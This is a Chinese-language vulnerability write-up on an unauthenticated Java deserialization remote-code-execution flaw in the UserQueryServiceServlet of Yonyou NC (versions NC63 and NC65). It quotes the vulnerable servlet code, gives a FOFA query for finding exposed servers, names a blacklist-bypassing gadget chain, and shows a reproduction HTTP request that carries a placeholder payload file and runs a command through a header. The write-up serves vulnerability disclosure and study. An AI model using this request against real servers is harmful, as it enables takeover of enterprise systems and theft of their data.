漏洞简介
用友NC是一款由用友公司开发的企业级管理软件,旨在为大型企业集团提供全面的管理解决方案,涵盖财务、供应链、人力资源、生产制造等多个核心业务领域,并采用J2EE架构以支持复杂的企业应用。
用友NC系统中的UserQueryServiceServlet接口(或其他类似处理序列化数据的组件)存在反序列化漏洞。未经授权的远程攻击者可以构造恶意的序列化数据,并将其发送到受影响的用友NC服务器。
成功利用此漏洞后,攻击者可以在目标服务器上执行任意代码,从而完全控制服务器系统。这可能导致敏感数据泄露、系统被篡改,甚至对整个企业的信息系统造成严重破坏。
影响版本
NC63、NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
直接看 UserQueryServiceServlet 的实现
public class UserQueryServiceServlet extends HttpServlet {
private static final long serialVersionUID = -5847889958965745395L;
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
ObjectInputStream in = new ObjectInputStream(request.getInputStream());
new HashMap();
ObjectOutputStream oos = new ObjectOutputStream(response.getOutputStream());
HashMap<Object, Object> result = new HashMap();
try {
HashMap<Object, Object> params = (HashMap)in.readObject();
由于代码在处理 HTTP 请求时,直接对用户传入的输入流进行 Java 反序列化操作(in.readObject()**),且该操作发生在任何身份验证或安全检查之前,造成了未经身份验证的远程代码执行(RCE)漏洞。攻击者可以构造恶意的序列化数据流,在服务器反序列化时执行任意代码。
漏洞复现
使用Java Chains 的TransformerWithDefiningClassLoader2构造绕黑名单进行命令执行回显

POST /servlet/UserQueryServiceServlet?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-java-serialized-object
X-Authorization: whoami
{{file(/path/to/yourpayload.ser)}}



